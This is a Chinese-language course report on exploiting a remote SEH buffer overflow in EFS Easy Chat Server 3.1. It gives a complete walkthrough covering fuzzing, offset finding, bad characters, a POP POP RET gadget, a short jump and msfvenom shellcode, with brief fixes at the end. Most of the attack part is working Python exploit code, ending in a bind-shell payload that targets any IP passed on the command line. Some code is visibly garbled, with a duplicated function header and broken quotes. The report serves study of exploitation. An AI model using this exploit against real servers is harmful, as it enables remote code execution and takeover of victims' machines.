EFS Easy Chat Server 3.1 远程SEH缓冲区溢出漏洞分析与利用
1.漏洞描述
EFS Easy Chat Server 3.1存在一个远程SEH(Structured Exception Handling)缓冲区溢出漏洞,该漏洞允许远程攻击者通过发送特制的HTTP请求来覆盖SEH链,可能导致远程代码执行。漏洞编号为CVE-2023-4494,主要影响EFS Easy Chat Server 3.1版本。
以下是最终利用的poc代码
import struct
import sys
import requests
def main(ip):
# 完整的Shellcode
requests
def main(ip):
# 完整的Shellcode
shellcode = b""
shellcode += b"\xbe\xbc\x68\xbe\xb6\xdb\xde\xd9\x74\x24\xf4"
shellcode += b"\x5b\x33\xc9\xb1\x53\x31\x73\x12\x03\x73\x12"
shellcode += b"\x83\x57\x94\x5c\x43\x5b\x8d\x23\xac\xa3\x4e"
shellcode += b"\x44\x24\x46\x7f\x44\x52\x03\xd0\x74\x10\x41"
shellcode += b"\xdd\xff\x74\x71\x56\x8d\x50\x76\xdf\x38\x87"
shellcode += b"\xb9\xe0\x11\xfb\xd8\x62\x68\x28\x3a\x5a\xa3"
shellcode += b"\x3d\x3b\x9b\xde\xcc\x69\x74\x94\x63\x9d\xf1"
shellcode += b"\xe0\xbf\x16\x49\xe4\xc7\xcb\x1a\x07\xe9\x5a"
shellcode += b"\x10\x5e\x29\x5d\xf5\xea\x60\x45\x1a\xd6\x3b"
shellcode += b"\xfe\xe8\xac\xbd\xd6\x20\x4c\x11\x17\x8d\xbf"
shellcode += b"\x6b\x50\x2a\x20\x1e\xa8\x48\xdd\x19\x6f\x32"
shellcode += b"\x39\xaf\x6b\x94\xca\x17\x57\x24\x1e\xc1\x1c"
shellcode += b"\x2a\xeb\x85\x7a\x2f\xea\x4a\xf1\x4b\x67\x6d"
shellcode += b"\xd5\xdd\x33\x4a\xf1\x86\xe0\xf3\xa0\x62\x46"
shellcode += b"\x0b\xb2\xcc\x37\xa9\xb9\xe1\x2c\xc0\xe0\x6d"
shellcode += b"\x80\xe9\x1a\x6e\x8e\x7a\x69\x5c\x11\xd1\xe5"
shellcode += b"\xec\xda\xff\xf2\x13\xf1\xb8\x6c\xea\xfa\xb8"
shellcode += b"\xa5\x29\xae\xe8\xdd\x98\xcf\x62\x1d\x24\x1a"
shellcode += b"\x1e\x15\x83\xf5\x3d\xd8\x73\xa6\x81\x72\x1c"
shellcode += b"\xac\x0d\xad\x3c\xcf\xc7\xc6\xd5\x32\xe8\xf9"
shellcode += b"\x79\xba\x0e\x93\x91\xea\x99\x0b\x50\xc9\x11"
shellcode += b"\xac\xab\x3b\x0a\x5a\xe3\x2d\x8d\x65\xf4\x7b"
shellcode += b"\xb9\xf1\x7f\x68\x7d\xe0\x7f\xa5\xd5\x75\x17"
shellcode += b"\x33\xb4\x34\x89\x44\x9d\xae\x2a\xd6\x7a\x2e"
shellcode += b"\x24\xcb\xd4\x79\x61\x3d\x2d\xef\x9f\x64\x87"
shellcode += b"\x0d\x62\xf0\xe0\x95\xb9\xc1\xef\x14\x4f\x7d"
shellcode += b"\xd4\x06\x89\x7e\x50\x72\x45\x29\x0e\x2c\x23"
shellcode += b"\x83\xe0\x86\xfd\x78\xab\x4e\x7b\xb3\x6c\x08"
shellcode += b"\x84\x9e\x1a\xf4\x35\x77\x5b\x0b\xf9\x1f\x6b"
shellcode += b"\x74\xe7\xbf\x94\xaf\xa3\xa0\x76\x65\xde\x48"
shellcode += b"\x2f\xec\x63\x15\xd0\xdb\xa0\x20\x53\xe9\x58"
shellcode += b"\xd7\x4b\x98\x5d\x93\xcb\x71\x2c\x8c\xb9\x75"
shellcode += b"\x83\xad\xeb"
seh = struct.pack(‘<I’, 0x10018793) # Little Endian
payload = b’\x41’ * 217 + b’\x90\x90\xeb\x06’ + seh + b’\x90’ * 24 + shellcode + b’\x44’ * (1000 - len(b’\x41’ * 217 + b’\x90\x90\xeb\x06’ + seh + b’\x90’ * 24 + shellcode))
headers = {
‘Host’: ip,
‘Content-Length’: str(len(payload)),
‘Origin’: ‘http://’ + ip,
‘Content-Type’: ‘application/x-www-form-urlencoded’,
‘User-Agent’: ‘Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Edg/123.0.0.0’,
‘Accept’: ‘text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7’,
‘Referer’: ‘http://’ + ip + ‘/register.ghp’,
‘Accept-Language’: ‘zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6’,
‘Connection’: ‘close’,
}
data = “UserName=” + payload.decode(‘latin-1’) + “&Password=admin&Password1=admin&Sex=0&Email=1%40q.com&Icon=0.gif&Resume=a&cw=1&RoomID=%3C%21–%24RoomID–%3E&RepUserName=%3C%21–%24UserName–%3E&submit1=Register”
response = httpRequest(“http://” + ip + “:80/registresult.htm”, “POST”, data, headers)
print(“Response Status:”, response.status_code)
print(“Response Body:”, response.text)
def httpRequest(targetUrl, method, data, headers):
try:
response = requests.post(targetUrl, data=data, headers=headers, verify=False)
return response
except requests.exceptions.RequestException as e:
print(e)
sys.exit(1)
if name == ‘__main__’:
if len(sys.argv) != 2:
print(“Usage: python exploit.py ”)
sys.exit(1)
target_ip = sys.argv[1]
main(target_ip)
3.漏洞原理分析
使用Immunity Debugger和Windbg进行动态分析,发现当发送特制的HTTP请求时,程序在处理username字段时未进行长度检查,导致栈溢出。攻击者可以通过控制溢出数据来覆盖SEH链,进而控制程序的执行流程。
4.漏洞利用
1)环境准备
Win10+Kali
工具:Immunity Debugger、Windbg、Burpsuite
2)确定异常触发点
看expdb上面的代码,缓冲区溢出触发点在注册页面的用户名处,使用burpsuite抓个包然后直接插件copy as go request
package main
import (
“bytes”
“crypto/tls”
“fmt”
“io”
“net/http”
)
func main() {
headers := map[string]string{
“Host”: “192.168.110.129”,
“Upgrade-Insecure-Requests”: “1”,
“User-Agent”: “Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36”,
“Accept”: “text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7”,
“Accept-Language”: “zh-CN,zh;q=0.9”,
“Connection”: “close”,
}
var data = []byte(nil)
httpRequest(“http://192.168.110.129:80/register.ghp?username=test&&password=testpwd”, “GET”, data, headers)
}
func httpRequest(targetUrl string, method string, data []byte, headers map[string]string) *http.Response {
request, error := http.NewRequest(method, targetUrl, bytes.NewBuffer(data))
for k, v := range headers {
request.Header.Set(k, v)
}
customTransport := &http.Transport{
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
}
client := &http.Client{Transport: customTransport}
response, error := client.Do(request)
defer response.Body.Close()
if error != nil {
panic(error)
}
body, _ := io.ReadAll(response.Body)
fmt.Println(“response Status:”, response.Status)
fmt.Println(“response Body:”, string(body))
return response
}
拿到数据传输的代码,改成python格式
import os
import sys
import socket
ip = sys.argv[1]
socket = socket.socket(socket.AF_INET , socket.SOCK_STREAM)
socket.connect((ip , 80))
#AlphanumericShellcode
magic = “A” * 1000
buffer = “POST /registresult.htm HTTP/1.1\r\n\r\n”
buffer += “Host: 192.168.1.11”
buffer += “User-Agent: Mozilla/5.0 (X11; Linux i686; rv:45.0) Gecko/20100101 Firefox/45.0”
buffer += “Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8”
buffer += “Accept-Language: en-US,en;q=0.5”
buffer += “Accept-Encoding: gzip, deflate”
buffer += “Referer: http://192.168.1.11/register.ghp”
buffer += “Connection: close”
buffer += “Content-Type: application/x-www-form-urlencoded”
buffer += “UserName=” + magic +“&Password=test&Password1=test&Sex=1&Email=x@&Icon=x.gif&Resume=xxxx&cw=1&RoomID=4&RepUserName=admin&submit1=Register”
socket.send(buffer)
data = socket.recv(4096)
print data
socket.close()
3)定位offset
生成1000个有序字符串替换掉上面代码的"A"
import os
import sys
import socket
ip = sys.argv[1]
socket = socket.socket(socket.AF_INET , socket.SOCK_STREAM)
socket.connect((ip , 80))
#AlphanumericShellcode
magic = “Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B”
buffer = “POST /registresult.htm HTTP/1.1\r\n\r\n”
buffer += “Host: 192.168.1.11”
buffer += “User-Agent: Mozilla/5.0 (X11; Linux i686; rv:45.0) Gecko/20100101 Firefox/45.0”
buffer += “Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8”
buffer += “Accept-Language: en-US,en;q=0.5”
buffer += “Accept-Encoding: gzip, deflate”
buffer += “Referer: http://192.168.1.11/register.ghp”
buffer += “Connection: close”
buffer += “Content-Type: application/x-www-form-urlencoded”
buffer += “UserName=” + magic +“&Password=test&Password1=test&Sex=1&Email=x@&Icon=x.gif&Resume=xxxx&cw=1&RoomID=4&RepUserName=admin&submit1=Register”
socket.send(buffer)
data = socket.recv(4096)
print data
socket.close()
然后重新发送数据包
程序崩溃了,g命令继续执行
发现eip指令值为34684133
用此时eip的值,在kail中匹配偏移量
msf-pattern_offset -q 34684133
但是发现此时寄存器并没有需要的内容
查看异常程序处理链 !exchain
查询程序崩溃点
通过查看Exception Handler
查询
dt _EXCEPTION_REGISTRATION_RECORD 2946e28
当前的错误处理机制的指令地址被覆盖,造成SEH(Structured Exception Handling Windows默认异常处理机制)
污染,而被污染的SEH
可根据实际情况进行代码执行攻击。
4)坏字符串
生成字符串并排除 \x00 !py mona ba -cpb "\x00"
通过以上发现221个字符会造成seh
污染,那么对SEH攻击需要执行 ppr 即 pop 某个寄存器 pop 某个寄存器 ret指令,那么需要崩溃长度减去一条指令的长度即 -4,修改PoC
import os
import sys
import socket
ip = sys.argv[1]
socket = socket.socket(socket.AF_INET , socket.SOCK_STREAM)
socket.connect((ip , 80))
#AlphanumericShellcode
magic = “A” * 217
magic +=“BBBBCCCC”
magic += “\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff”
magic +=“D”* (1000-len(magic))
buffer = “POST /registresult.htm HTTP/1.1\r\n\r\n”
buffer += “Host: 192.168.1.11”
buffer += “User-Agent: Mozilla/5.0 (X11; Linux i686; rv:45.0) Gecko/20100101 Firefox/45.0”
buffer += “Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8”
buffer += “Accept-Language: en-US,en;q=0.5”
buffer += “Accept-Encoding: gzip, deflate”
buffer += “Referer: http://192.168.1.11/register.ghp”
buffer += “Connection: close”
buffer += “Content-Type: application/x-www-form-urlencoded”
buffer += “UserName=” + magic +“&Password=test&Password1=test&Sex=1&Email=x@&Icon=x.gif&Resume=xxxx&cw=1&RoomID=4&RepUserName=admin&submit1=Register”
socket.send(buffer)
data = socket.recv(4096)
print data
socket.close()
在immunity debugger中加载程序,kali发送上述代码恶意数据包
发现坏字节0x25 0x26 0x27 0x2b
5)寻找PPR
使用!mona seh pop pop ret
指令
发现数据太多了,那就排除\x00
!mona seh pop pop ret -cpb "\x00"
任选一个0x10018793
0x10018793 : pop esi # pop edi # ret | {PAGE\_EXECUTE\_READ} [SSLEAY32.dll] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v-1.0- (C:\\EFS Software\\Easy Chat Server\\SSLEAY32.dll), 0x0
所有的保护属性都是false
,而且还不含有badchars
验证是否可行,修改poc
import struct
import sys
import requests
def main(ip):
seh = struct.pack(‘<I’, 0x10018793) # Little Endian
magic = b’A’ * 217 + b’BBBB’ + seh
payload = magic + b’D’ * (1000 - len(magic))
headers = {
‘Host’: ip,
‘Content-Length’: str(len(payload)),
‘Origin’: ‘http://’ + ip,
‘Content-Type’: ‘application/x-www-form-urlencoded’,
‘User-Agent’: ‘Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Edg/123.0.0.0’,
‘Accept’: ‘text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7’,
‘Referer’: ‘http://’ + ip + ‘/register.ghp’,
‘Accept-Language’: ‘zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6’,
‘Connection’: ‘close’,
}
data = “UserName=” + payload.decode(‘latin-1’) + “&Password=admin&Password1=admin&Sex=0&Email=1%40q.com&Icon=0.gif&Resume=a&cw=1&RoomID=%3C%21–%24RoomID–%3E&RepUserName=%3C%21–%24UserName–%3E&submit1=Register”
response = httpRequest(“http://” + ip + “:80/registresult.htm”, “POST”, data, headers)
print(“Response Status:”, response.status_code)
print(“Response Body:”, response.text)
def httpRequest(targetUrl, method, data, headers):
try:
response = requests.post(targetUrl, data=data, headers=headers, verify=False)
return response
except requests.exceptions.RequestException as e:
print(e)
sys.exit(1)
if name == ‘__main__’:
if len(sys.argv) != 2:
print(“Usage: python exploit.py ”)
sys.exit(1)
target_ip = sys.argv[1]
main(target_ip)
重启程序,附加程序,下个断点(bp 0x10018793
),g单步运行,然后发送恶意数据
g一下
然后继续t三下执行下一步
发现"BBBB"
做代码跳转,让代码跳转到此处
a指令,然后再jmp 0x3106e30
得到的代码是eb 06
那么还得看看接下来有多大的操作空间
用内存结束的地址减去eip的值
得到768,足够写shellcode了
6)跳转验证一下
重新写poc然后发送数据包
import struct
import sys
import requests
def main(ip):
seh = struct.pack(‘<I’, 0x10018793) # Little Endian
magic = b’A’ * 217 + b’\x90\x90\xeb\x06’ + seh
payload = magic + b’D’ * (1000 - len(magic))
headers = {
‘Host’: ip,
‘Content-Length’: str(len(payload)),
‘Origin’: ‘http://’ + ip,
‘Content-Type’: ‘application/x-www-form-urlencoded’,
‘User-Agent’: ‘Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Edg/123.0.0.0’,
‘Accept’: ‘text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7’,
‘Referer’: ‘http://’ + ip + ‘/register.ghp’,
‘Accept-Language’: ‘zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6’,
‘Connection’: ‘close’,
}
data = “UserName=” + payload.decode(‘latin-1’) + “&Password=admin&Password1=admin&Sex=0&Email=1%40q.com&Icon=0.gif&Resume=a&cw=1&RoomID=%3C%21–%24RoomID–%3E&RepUserName=%3C%21–%24UserName–%3E&submit1=Register”
response = httpRequest(“http://” + ip + “:80/registresult.htm”, “POST”, data, headers)
print(“Response Status:”, response.status_code)
print(“Response Body:”, response.text)
def httpRequest(targetUrl, method, data, headers):
try:
response = requests.post(targetUrl, data=data, headers=headers, verify=False)
return response
except requests.exceptions.RequestException as e:
print(e)
sys.exit(1)
if name == ‘__main__’:
if len(sys.argv) != 2:
print(“Usage: python exploit.py ”)
sys.exit(1)
target_ip = sys.argv[1]
main(target_ip)
跳转成功
7)写shellcode弹计算器
msfvenom -p windows/exec CMD=calc -a x86 --platform windows -b "\x00\x25\x26\x27\x2b" EXITFUNC=thread -f python -v shellcode
生成shellcode
import struct
import sys
import requests
def main(ip):
# Shellcode byte array
shellcode = (
b"\xd9\xee\xbb\xcd\xb6\x67\xbc\xd9\x74\x24\xf4"
b"\x5a\x31\xc9\xb1\x30\x83\xc2\x04\x31\x5a\x14"
b"\x03\x5a\xd9\x54\x92\x40\x09\x1a\x5d\xb9\xc9"
b"\x7b\xd7\x5c\xf8\xbb\x83\x15\xaa\x0b\xc7\x78"
b"\x46\xe7\x85\x68\xdd\x85\x01\x9e\x56\x23\x74"
b"\x91\x67\x18\x44\xb0\xeb\x63\x99\x12\xd2\xab"
b"\xec\x53\x13\xd1\x1d\x01\xcc\x9d\xb0\xb6\x79"
b"\xeb\x08\x3c\x31\xfd\x08\xa1\x81\xfc\x39\x74"
b"\x9a\xa6\x99\x76\x4f\xd3\x93\x60\x8c\xde\x6a"
b"\x1a\x66\x94\x6c\xca\xb7\x55\xc2\x33\x78\xa4"
b"\x1a\x73\xbe\x57\x69\x8d\xbd\xea\x6a\x4a\xbc"
b"\x30\xfe\x49\x66\xb2\x58\xb6\x97\x17\x3e\x3d"
b"\x9b\xdc\x34\x19\xbf\xe3\x99\x11\xbb\x68\x1c"
b"\xf6\x4a\x2a\x3b\xd2\x17\xe8\x22\x43\xfd\x5f"
b"\x5a\x93\x5e\x3f\xfe\xdf\x72\x54\x73\x82\x18"
b"\xab\x01\xb8\x6e\xab\x19\xc3\xde\xc4\x28\x48"
b"\xb1\x93\xb4\x9b\xf6\x7c\x57\x0e\x02\x15\xce"
b"\xdb\xaf\x78\xf1\x31\xf3\x84\x72\xb0\x8b\x72"
b"\x6a\xb1\x8e\x3f\x2c\x29\xe2\x50\xd9\x4d\x51"
b"\x50\xc8\x2d\x34\xc2\x90\xb1"
)
seh = struct.pack(‘<I’, 0x10018793) # Little Endian
payload = b’\x41’ * 217 + b’\x90\x90\xeb\x06’ + seh + b’\x90’ * 24 + shellcode + b’\x44’ * (1000 - len(b’\x41’ * 217 + b’\x90\x90\xeb\x06’ + seh + b’\x90’ * 24 + shellcode))
headers = {
‘Host’: ip,
‘Content-Length’: str(len(payload)),
‘Origin’: ‘http://’ + ip,
‘Content-Type’: ‘application/x-www-form-urlencoded’,
‘User-Agent’: ‘Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Edg/123.0.0.0’,
‘Accept’: ‘text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7’,
‘Referer’: ‘http://’ + ip + ‘/register.ghp’,
‘Accept-Language’: ‘zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6’,
‘Connection’: ‘close’,
}
data = “UserName=” + payload.decode(‘latin-1’) + “&Password=admin&Password1=admin&Sex=0&Email=1%40q.com&Icon=0.gif&Resume=a&cw=1&RoomID=%3C%21–%24RoomID–%3E&RepUserName=%3C%21–%24UserName–%3E&submit1=Register”
response = httpRequest(“http://” + ip + “:80/registresult.htm”, “POST”, data, headers)
print(“Response Status:”, response.status_code)
print(“Response Body:”, response.text)
def httpRequest(targetUrl, method, data, headers):
try:
response = requests.post(targetUrl, data=data, headers=headers, verify=False)
return response
except requests.exceptions.RequestException as e:
print(e)
sys.exit(1)
if name == ‘__main__’:
if len(sys.argv) != 2:
print(“Usage: python exploit.py ”)
sys.exit(1)
target_ip = sys.argv[1]
main(target_ip)
成功
8)获取shell权限
msfvenom -p windows/shell_bind_tcp exitfunc=thread -b "\x00\x25\x26\x27\x2b" -f python -v shellcode
修改poc
import struct
import sys
import requests
def main(ip):
# 完整的Shellcode
requests
def main(ip):
# 完整的Shellcode
shellcode = b""
shellcode += b"\xbe\xbc\x68\xbe\xb6\xdb\xde\xd9\x74\x24\xf4"
shellcode += b"\x5b\x33\xc9\xb1\x53\x31\x73\x12\x03\x73\x12"
shellcode += b"\x83\x57\x94\x5c\x43\x5b\x8d\x23\xac\xa3\x4e"
shellcode += b"\x44\x24\x46\x7f\x44\x52\x03\xd0\x74\x10\x41"
shellcode += b"\xdd\xff\x74\x71\x56\x8d\x50\x76\xdf\x38\x87"
shellcode += b"\xb9\xe0\x11\xfb\xd8\x62\x68\x28\x3a\x5a\xa3"
shellcode += b"\x3d\x3b\x9b\xde\xcc\x69\x74\x94\x63\x9d\xf1"
shellcode += b"\xe0\xbf\x16\x49\xe4\xc7\xcb\x1a\x07\xe9\x5a"
shellcode += b"\x10\x5e\x29\x5d\xf5\xea\x60\x45\x1a\xd6\x3b"
shellcode += b"\xfe\xe8\xac\xbd\xd6\x20\x4c\x11\x17\x8d\xbf"
shellcode += b"\x6b\x50\x2a\x20\x1e\xa8\x48\xdd\x19\x6f\x32"
shellcode += b"\x39\xaf\x6b\x94\xca\x17\x57\x24\x1e\xc1\x1c"
shellcode += b"\x2a\xeb\x85\x7a\x2f\xea\x4a\xf1\x4b\x67\x6d"
shellcode += b"\xd5\xdd\x33\x4a\xf1\x86\xe0\xf3\xa0\x62\x46"
shellcode += b"\x0b\xb2\xcc\x37\xa9\xb9\xe1\x2c\xc0\xe0\x6d"
shellcode += b"\x80\xe9\x1a\x6e\x8e\x7a\x69\x5c\x11\xd1\xe5"
shellcode += b"\xec\xda\xff\xf2\x13\xf1\xb8\x6c\xea\xfa\xb8"
shellcode += b"\xa5\x29\xae\xe8\xdd\x98\xcf\x62\x1d\x24\x1a"
shellcode += b"\x1e\x15\x83\xf5\x3d\xd8\x73\xa6\x81\x72\x1c"
shellcode += b"\xac\x0d\xad\x3c\xcf\xc7\xc6\xd5\x32\xe8\xf9"
shellcode += b"\x79\xba\x0e\x93\x91\xea\x99\x0b\x50\xc9\x11"
shellcode += b"\xac\xab\x3b\x0a\x5a\xe3\x2d\x8d\x65\xf4\x7b"
shellcode += b"\xb9\xf1\x7f\x68\x7d\xe0\x7f\xa5\xd5\x75\x17"
shellcode += b"\x33\xb4\x34\x89\x44\x9d\xae\x2a\xd6\x7a\x2e"
shellcode += b"\x24\xcb\xd4\x79\x61\x3d\x2d\xef\x9f\x64\x87"
shellcode += b"\x0d\x62\xf0\xe0\x95\xb9\xc1\xef\x14\x4f\x7d"
shellcode += b"\xd4\x06\x89\x7e\x50\x72\x45\x29\x0e\x2c\x23"
shellcode += b"\x83\xe0\x86\xfd\x78\xab\x4e\x7b\xb3\x6c\x08"
shellcode += b"\x84\x9e\x1a\xf4\x35\x77\x5b\x0b\xf9\x1f\x6b"
shellcode += b"\x74\xe7\xbf\x94\xaf\xa3\xa0\x76\x65\xde\x48"
shellcode += b"\x2f\xec\x63\x15\xd0\xdb\xa0\x20\x53\xe9\x58"
shellcode += b"\xd7\x4b\x98\x5d\x93\xcb\x71\x2c\x8c\xb9\x75"
shellcode += b"\x83\xad\xeb"
seh = struct.pack(‘<I’, 0x10018793) # Little Endian
payload = b’\x41’ * 217 + b’\x90\x90\xeb\x06’ + seh + b’\x90’ * 24 + shellcode + b’\x44’ * (1000 - len(b’\x41’ * 217 + b’\x90\x90\xeb\x06’ + seh + b’\x90’ * 24 + shellcode))
headers = {
‘Host’: ip,
‘Content-Length’: str(len(payload)),
‘Origin’: ‘http://’ + ip,
‘Content-Type’: ‘application/x-www-form-urlencoded’,
‘User-Agent’: ‘Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Edg/123.0.0.0’,
‘Accept’: ‘text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7’,
‘Referer’: ‘http://’ + ip + ‘/register.ghp’,
‘Accept-Language’: ‘zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6’,
‘Connection’: ‘close’,
}
data = “UserName=” + payload.decode(‘latin-1’) + “&Password=admin&Password1=admin&Sex=0&Email=1%40q.com&Icon=0.gif&Resume=a&cw=1&RoomID=%3C%21–%24RoomID–%3E&RepUserName=%3C%21–%24UserName–%3E&submit1=Register”
response = httpRequest(“http://” + ip + “:80/registresult.htm”, “POST”, data, headers)
print(“Response Status:”, response.status_code)
print(“Response Body:”, response.text)
def httpRequest(targetUrl, method, data, headers):
try:
response = requests.post(targetUrl, data=data, headers=headers, verify=False)
return response
except requests.exceptions.RequestException as e:
print(e)
sys.exit(1)
if name == ‘__main__’:
if len(sys.argv) != 2:
print(“Usage: python exploit.py ”)
sys.exit(1)
target_ip = sys.argv[1]
main(target_ip)
成功
5.漏洞修复
修复该漏洞的措施包括:
1)对输入进行严格的长度检查和验证。
2)启用DEP(数据执行保护)和ASLR(地址空间布局随机化)。
3)定期更新软件,修补已知漏洞。
6.课程报告总结与心得体会
通过本次实验,我深入了解了SEH缓冲区溢出的原理和利用方法,掌握了使用Windbg和Immunity Debugger进行动态分析的技能;实验过程中也遇到过一些问题,包括环境配置(mona利用),发送数据包反应异常等。然后就是对Windbg、Immunity Debugger等工具的基本使用命令更加熟练。
参考链接:EFS Easy Chat Server 3.1 - Remote Buffer Overflow (SEH) - Windows remote Exploit
EFS Easy Chat Server 3.1 远程seh缓冲区溢出 | CN-SEC 中文网
软件下载链接:https://www.exploit-db.com/apps/c682138ebbea9af7948a3f142bbd054b-ecssetup.exe
演示视频链接:链接:https://pan.baidu.com/s/1Nwv1rwvRcVTFoy7LxRR6gQ
提取码:xsdt
我用夸克网盘分享了「演示视频」,点击链接即可保存。打开「夸克APP」,无需下载在线播放视频,畅享原画5倍速,支持电视投屏。
链接:https://pan.quark.cn/s/731532cced60